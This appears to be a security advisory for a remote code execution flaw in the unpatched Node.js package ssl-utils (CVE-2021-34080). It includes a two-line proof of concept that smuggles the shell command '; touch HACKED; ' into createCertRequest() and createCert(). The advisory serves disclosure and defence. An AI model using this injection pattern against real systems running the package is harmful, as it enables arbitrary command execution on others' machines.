Remote Code Execution (RCE) Affecting ssl-utils package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.41% (75th
percentile)
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- published 6 Jun 2022
- disclosed 3 Jun 2022
- credit Adar Zandberg
Introduced: 3 Jun 2022
CVE-2021-34080 Open this link in a new tabHow to fix?
There is no fixed version for ssl-utils.
Overview
ssl-utils is a Node.js utility for SSL certificates using OpenSSL (generating, verifying, etc.)
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via unsanitized shell metacharacters provided to the createCertRequest() and the createCert() functions.
PoC:
var ssl = require('ssl-utils');
ssl.createCertRequest({}, "; touch HACKED; ", "", ()=>{})
// or:
ssl.createCert({}, "; touch HACKED; ", "", "", "", () => {})
References
CVSS Scores
version 3.1